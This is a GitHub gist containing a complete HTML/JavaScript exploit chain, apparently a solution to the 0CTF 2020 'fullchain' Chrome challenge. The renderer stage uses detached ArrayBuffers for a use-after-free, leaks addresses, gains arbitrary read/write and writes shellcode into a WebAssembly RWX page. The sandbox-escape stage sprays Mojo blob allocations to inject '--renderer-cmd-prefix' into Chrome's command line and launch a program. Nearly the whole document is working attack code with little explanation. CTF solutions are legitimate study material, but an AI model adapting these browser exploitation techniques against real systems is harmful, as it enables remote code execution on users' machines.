Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created July 14, 2021 11:03
Show Gist options
  • Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.
Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.

Revisions

  1. hkraw created this gist Jul 14, 2021.
    449 changes: 449 additions & 0 deletions 0ctf2020-fullchain++-cfi.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,449 @@
    <html>
    <head>
    <title>0ctf sbx</title>
    </head>
    <body>
    <h1>HK</h1>
    <pre id='log'></pre>
    </body>
    <script src='./mojo_bindings.js'></script>
    <script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script>
    <script src="./mojo_js/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
    <script id = 'worker'>
    worker: {
    if(typeof window === 'object') break worker
    self.onmessage = function(event) {}
    }
    </script>
    <script id='helpers'>

    let wasm_code = new Uint8Array([
    0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0,
    1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4,
    132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128,
    0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128,
    128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97,
    105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,
    0,65,42,11
    ])
    var wasmModule = new WebAssembly.Module(wasm_code)
    var wasmInstance = new WebAssembly.Instance(wasmModule)
    var evilFunc = wasmInstance.exports.main

    let conversionBuffer = new ArrayBuffer(0x40)
    let floatView = new Float64Array(conversionBuffer)
    let intView = new BigUint64Array(conversionBuffer)
    let u8View = new Uint8Array(conversionBuffer)
    BigInt.prototype.hex = function(){return '0x' + this.toString(16) }
    BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]}
    BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] }
    BigInt.prototype.shl32 = function(){return this << 32n}
    BigInt.prototype.shr32 = function(){return this >> 32n }
    String.prototype.to_u64 = function(){
    var tmp = this
    while(tmp.length%8)
    tmp += "\x00"
    for(let i = 0; i < 8; i++)
    u8View[i] = tmp.charCodeAt(i)
    return intView[0]
    }
    BigInt.prototype.byteSwap = function(){
    var result = 0n
    var tmp = this
    for(let i = 0; i < 8; i++) {
    result = result << 8n
    result += tmp & 255n
    tmp = tmp >> 8n
    }
    return result
    }
    Number.prototype.f2i = function(){floatView[0] = this;return intView[0]}
    Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n}
    Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn}
    Number.prototype.i2f = function(){return BigInt(this).i2f()}
    Number.prototype.smi2f = function(){return BigInt(this).smi2f()}
    const getSuperPage = addr =>
    addr & (~((1n << 21n) - 1n))
    const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) =>
    getSuperPage(addr) + partitionPageIndex << 14n
    const getMetadataArea = addr =>
    getSuperPage(addr) + 0x1000n
    const getPartitionPageMetadataArea = addr =>
    getMetadataArea(addr) +
    ((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n
    const sleep = ms =>
    new Promise(resolve=>setTimeout(resolve,ms))
    const gc = () => {
    let promise = new Promise((cb)=>{
    let arg;
    for(let i = 0; i < 100; i++)
    new ArrayBuffer(1024*1024*60).buffer
    cb(arg)
    })
    return promise
    }
    function getAllocationConstructor() {
    let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
    Mojo.bindInterface(blink.mojom.BlobRegistry.name,
    mojo.makeRequest(blob_registry_ptr).handle, "process", true);
    function Allocation(size=280) {
    function ProgressClient(allocate) {
    function ProgressClientImpl() {}
    ProgressClientImpl.prototype = {
    onProgress: async (arg0) => {
    if (this.allocate.writePromise) {
    this.allocate.writePromise.resolve(arg0);
    }
    }
    };
    this.allocate = allocate;
    this.ptr = new mojo.AssociatedInterfacePtrInfo();
    var progress_client_req = mojo.makeRequest(this.ptr);
    this.binding = new mojo.AssociatedBinding(
    blink.mojom.ProgressClient,
    new ProgressClientImpl(),
    progress_client_req
    );
    return this;
    }
    this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
    this.progressClient = new ProgressClient(this);
    blob_registry_ptr.registerFromStream("", "", size,
    this.pipe.consumer,
    this.progressClient.ptr).then((res) => {
    this.serialized_blob = res.blob;
    })
    this.malloc = async function(data) {
    promise = new Promise((resolve, reject) => {
    this.writePromise = {resolve: resolve, reject: reject};
    });
    this.pipe.producer.writeData(data);
    this.pipe.producer.close();
    written = await promise;
    console.assert(written == data.byteLength);
    }
    this.free = async function() {
    this.serialized_blob.blob.ptr.reset();
    await new Promise(resolve=>setTimeout(resolve, 100));
    }
    this.read = function(offset, length) {
    this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
    this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
    return new Promise((resolve) => {
    this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
    result = new ArrayBuffer(length);
    this.readpipe.consumer.readData(result);
    this.watcher.cancel();
    resolve(result);
    })});
    }
    this.readQword = async function(offset) {
    let res = await this.read(offset, 8);
    return (new DataView(res)).getBigUint64(0, true);
    }
    return this;
    }
    async function allocate(data) {
    let allocation = new Allocation(data.byteLength);
    await allocation.malloc(data);
    return allocation;
    }
    return allocate;
    }
    async function heapSpray(
    allocator, data, size) {
    return Promise.all(
    Array(size).fill().map(
    () => allocator(data)
    ));
    }
    </script>
    <script>
    if(typeof(Mojo)!=='undefined') {
    (async function(){
    console.log("MOjo Enabeleed")
    const cmd_line_ptr = 0x9e07fb0n

    const setenv_chrome = 0x9d34038n
    const system = 0x55410n
    const fakeVtableOffset = 0xaa6ba40n
    const L_xchg_rax_rsp = 0x3fa5114n
    const L_pop_rdi = 0x2e9ee1dn
    const L_ret = L_pop_rdi+1n
    const L_pop_rsi = 0x2f49c6en
    const L_pop_r14_r15_rbp = 0x3fa5182n

    let allocator = getAllocationConstructor()
    let tstoragePtrs = new Array()
    let tinstancePtrs = new Array()
    for(var i = 0; i < 0x1000; i++) {
    tstoragePtrs.push(new blink.mojom.TStoragePtr())
    Mojo.bindInterface(blink.mojom.TStorage.name,
    mojo.makeRequest(tstoragePtrs[i]).handle)
    await tstoragePtrs[i].init()
    tinstancePtrs.push(
    new blink.mojom.TInstanceAssociatedPtr(
    (await tstoragePtrs[i].createInstance()).instance))
    }
    var chrome_leak = undefined
    var chrome_base = undefined
    for(var i = 0; i < 0x1000; i++) {
    if((BigInt(((await tinstancePtrs[i].get(2)).value))&0xfffn) == 0x908n) {
    chrome_leak = BigInt(((await tinstancePtrs[0].get(2)).value))
    chrome_base = chrome_leak - 0x1ee4908n
    if(chrome_base > 0n) {
    console.log('[*] Chrome base: 0x' + chrome_base.toString(16))
    break
    }
    }
    }
    if(chrome_base == undefined) {
    location.reload()
    }
    await sleep(1000)
    for(var i = 0; i < 0x1000; i++)
    await tstoragePtrs[i].init()
    await sleep(100)
    let blobArrayBuffer = new ArrayBuffer(0x700)
    let blob = new BigUint64Array(blobArrayBuffer)
    blob[0x648/8] = chrome_base + cmd_line_ptr
    blob[0x650/8] = 1n
    blob[0x660/8] = 1n
    blob[0x670/8] = 0x4242424242424242n
    let spray_blob = await heapSpray(allocator, blob.buffer, 0x1000)
    for(var i = 0; i < 0x1000; i++) {
    if ( ((((await tinstancePtrs[i].getDouble()
    ).value).f2i()).toString(16)) == "4242424242424242") {
    var g_cmdline_ptr = BigInt((await tinstancePtrs[i].pop()).value)
    console.log('[+] g_cmdline_ptr: 0x' + g_cmdline_ptr.toString(16))
    break
    }
    }
    if(!g_cmdline_ptr)
    location.reload()
    for(var i = 0; i < spray_blob.length; i++)
    spray_blob[i].free()
    await sleep(1000)
    blob[0x648/8] = g_cmdline_ptr
    blob[0x650/8] = 1n
    blob[0x660/8] = 1n
    blob[0x670/8] = 0x6767676767676767n
    let spray_blob_part2 = await heapSpray(allocator, blob.buffer, 0x1000)
    await sleep(2000)
    let L_ROP = [
    0x4141414141414141n
    ]
    for(var i = 0; i < 0x1000; i++) {
    if ( ((((await tinstancePtrs[i].getDouble()
    ).value).f2i()).toString(16)) == "6767676767676767") {
    var g_cmdline_switch = BigInt((await tinstancePtrs[i].pop()).value)
    console.log('[+] g_cmdline_switch: 0x' + g_cmdline_switch.toString(16))
    break
    }
    }
    for(var i = 0; i < spray_blob_part2.length; i++)
    spray_blob_part2[i].free()
    await sleep(1000)
    blob.fill(0n)
    blob[0x648/8] = g_cmdline_switch+0x78n
    blob[0x650/8] = 0x50n
    blob[0x658/8] = 0n
    blob[0x670/8] = 0x4848484848484848n
    let spray_blob_part3 = await heapSpray(allocator, blob.buffer, 0x1000)
    await sleep(100)
    let command = [
    g_cmdline_switch+0x80n,
    "--render".to_u64(),"er-cmd-p".to_u64(),"refix='/".to_u64(),
    "usr/bin/".to_u64(),"xcalc'".to_u64()
    ]
    for(var i = 0; i < 0x1000; i++) {
    if ( ((((await tinstancePtrs[i].getDouble()
    ).value).f2i()).toString(16)) == "4848484848484848") {
    console.log("Found")
    for(var j = 0; j < command.length; j++) {
    await tinstancePtrs[i].push(command[j])
    }
    break
    }
    }
    let iframe = document.createElement('iframe');
    document.body.appendChild(iframe);
    iframe.contentWindow.document.open();
    iframe.contentWindow.document.write('<h1>');
    iframe.contentWindow.document.close();
    })()

    } else {
    (async function() {

    const partitionAllocHookEnabled = 0x9e0aa78
    const mojo_flag = 0x9f69975
    const L_ret = 0x4a6180f
    const blinkStorage_thread_root = 0x9df97c0
    const wasmInstance_offset = 0x833dc61

    async function detachBuffer(ab) {
    try{
    var worker = new Worker(
    window.URL.createObjectURL(new Blob([
    document.querySelector("#worker").textContent
    ],{type: 'text/javascript'}
    )))
    worker.postMessage({ab: ab}, [ab])
    await sleep(100); worker.terminate(); await sleep(100)
    } catch(excp) {
    console.log(excp)
    }
    }
    var no_gc = new Array()

    let victimBuffer = new ArrayBuffer(0x100)
    let leakBuffer = new ArrayBuffer(0x100)
    let victim = new BigUint64Array(victimBuffer)
    let holder = new BigUint64Array(leakBuffer)
    await detachBuffer(victimBuffer)

    await gc(); await gc(); await gc(); await gc();
    holder.set(victim)
    var leaked_addr = holder[0].byteSwap()

    var superPage = getSuperPage(leaked_addr)
    var metadataPage = getMetadataArea(leaked_addr)
    var partitonPage = getPartitionPageMetadataArea(leaked_addr)
    console.log('[+] Heap Leak: 0x' + leaked_addr.toString(16))
    console.log('[+] SuperPage: 0x' + superPage.toString(16))
    console.log('[+] Metadata Area: 0x' + metadataPage.toString(16))
    console.log('[+] PartitionPage Metadata: 0x' + partitonPage.toString(16))

    holder[0] = (metadataPage + 0xe0n).byteSwap()
    victim.set(holder,0)
    no_gc.push(new ArrayBuffer(0x100)); no_gc.push(new BigUint64Array(0x100/8)) /*1,2*/
    var tmp_array_buffer = new ArrayBuffer(0x300)
    let chrome_leak = no_gc[1][2]
    var chrome_base = chrome_leak - 0x9f37268n
    console.log('[+] Chrome base: 0x' + chrome_base.toString(16))
    await gc(); await gc(); await gc(); await gc();

    no_gc.push(new ArrayBuffer(8))
    no_gc.push(new ArrayBuffer(8))
    var victimBuffer2 = new BigUint64Array(new ArrayBuffer(8))
    var holder2 = new BigUint64Array(new ArrayBuffer(8))
    await detachBuffer(victimBuffer2.buffer)
    await gc(); await gc(); await gc(); await gc();

    holder2[0] = (metadataPage + 0x20n).byteSwap()
    victimBuffer2.set(holder2)
    no_gc.push(new ArrayBuffer(8)) /*2*/
    var rw_helper = new BigUint64Array(new ArrayBuffer(8))
    await gc(); await gc(); await gc(); await gc();

    no_gc.push(victimBuffer)
    no_gc.push(rw_helper)
    await gc(); await gc(); await gc(); await gc();

    function read64(rw, address) {
    rw[0] = address
    var array_buffer = new BigUint64Array(new ArrayBuffer(8))
    no_gc.push(array_buffer)
    array_buffer[0] = rw[0].byteSwap()
    rw[0] = 0n
    return array_buffer[0]
    }

    function write64(rw, address, value) {
    var backup = rw[0]
    rw[0] = address
    var array_buffer = new BigUint64Array(new ArrayBuffer(8))
    no_gc.push(array_buffer)
    array_buffer[0] = BigInt(value)
    rw[0] = backup
    }

    write64(rw_helper, chrome_base+BigInt(mojo_flag),1n)
    var v8_heapRoot = read64(rw_helper, chrome_base+BigInt(blinkStorage_thread_root))
    console.log('[+] V8 Heap base: 0x'+v8_heapRoot.toString(16))
    var rwx_page = read64(rw_helper, (v8_heapRoot + BigInt(wasmInstance_offset-1)) + 0x68n)
    console.log('[+] RWX Page: 0x' + rwx_page.toString(16))
    await gc(); await gc(); await gc(); await gc();

    var shellcode_rwArrayBuffer = new BigUint64Array(new ArrayBuffer(0x1000))
    await detachBuffer(shellcode_rwArrayBuffer.buffer)
    await gc(); await gc(); await gc(); await gc();

    holder[0] = BigInt(rwx_page).byteSwap()
    shellcode_rwArrayBuffer.set(holder,0)

    no_gc.push(new ArrayBuffer(0x1000))
    var shellcodeWriter = new Uint8Array(0x1000) /* RWX PAGE */
    const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1);
    const setBytes = shellcode => { for(var i = 0; i < shellcode.length; i++) shellcodeWriter[i] = shellcode[i] }
    function I64ToBytes(num) {
    let numh = Number(num/0x100000000n);
    let numl = Number(num&0xffffffffn);
    var result = [];
    for (let j = 0; j < 4; ++j)
    result.push((numl >>> 8 * j) & 0xff);
    for (let j = 0; j < 4; ++j)
    result.push((numh>>> 8 * j) & 0xff);
    return result;
    }
    function flatten(array) {
    let result = new Array(array.length),
    index = 0,
    flattenInternal = (array, result) => {
    for (let element of array) {
    if (Array.isArray(element))
    flattenInternal(element, result)
    else result[index++] = element;
    }
    }
    flattenInternal(array, result);
    result.length = index;
    return result;
    }
    function prepareBytes(shellcode) {
    let flatArray = flatten(shellcode),
    roundUpLength = roundUp(flatArray, 8),
    result = [];
    while (flatArray.length < roundUpLength)
    flatArray.push(0x90);
    return flatArray;
    }
    await sleep(2000)
    let shellcode = new Uint8Array(prepareBytes([
    0x55, // push rbp
    0x48, 0x89, 0xe5, // mov rbp, rsp
    0x48, 0xbf, I64ToBytes(chrome_base), // mov rdi, chrome_base
    0x48, 0x31, 0xf6, // xor rsi, rsi
    0x48, 0x31, 0xd2, // xor rdx, rdx
    0x48, 0x31, 0xc0, // xor rax, rax
    0xbe, 0x00, 0xe0, 0xf7, 0x09, // mov esi, 0x9f7e000
    0xba, 0x07, 0x00, 0x00, 0x00, // mov edx, 0x7
    0xb8, 0x0a, 0x00, 0x00, 0x00, // mov eax, 0xa
    0x0f, 0x05, //syscall
    0x41, 0x41, 0x41, 0x41,
    0x48, 0xbf, I64ToBytes(chrome_base + BigInt(partitionAllocHookEnabled)), //mov rdi, base::PartitionAllocHooks::hooks_enabled_
    0xc6, 0x07, 0x01, // mov byte ptr [rdi], 1
    0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3248n), // 0x4af3248 <base::PartitionAllocHooks::FreeObserverHookIfEnabled(void*)+40>: ja 0x4af324f <udt>
    0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090
    0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3270n), // 0x4af3270 <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+16>: xor eax,eax
    0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090
    0x48, 0xbf, I64ToBytes(chrome_base + 0x4af326en), // 0x4af326e <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+14>: jne 0x4af3274 <udt>
    0x66, 0xc7, 0x07, 0xb0, 0x01, // mov word ptr [rdi], 0x01b0
    0x48, 0xbf, I64ToBytes(chrome_base + BigInt(0x4af3ec0)), // mov rdi, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>*, bool
    0xc6, 0x07, 0xc3, // mov byte ptr [rdi], 0xc3
    0x48, 0x89, 0xec, // mov rsp, rbp
    0x5d, //pop rbp
    0xc3 // ret

    ]));
    setBytes(shellcode); evilFunc();

    write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x10), chrome_base + BigInt(L_ret))
    write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x20), chrome_base + BigInt(L_ret))
    await sleep(1000)
    location.reload()
    })()
    }
    </script>
    </html>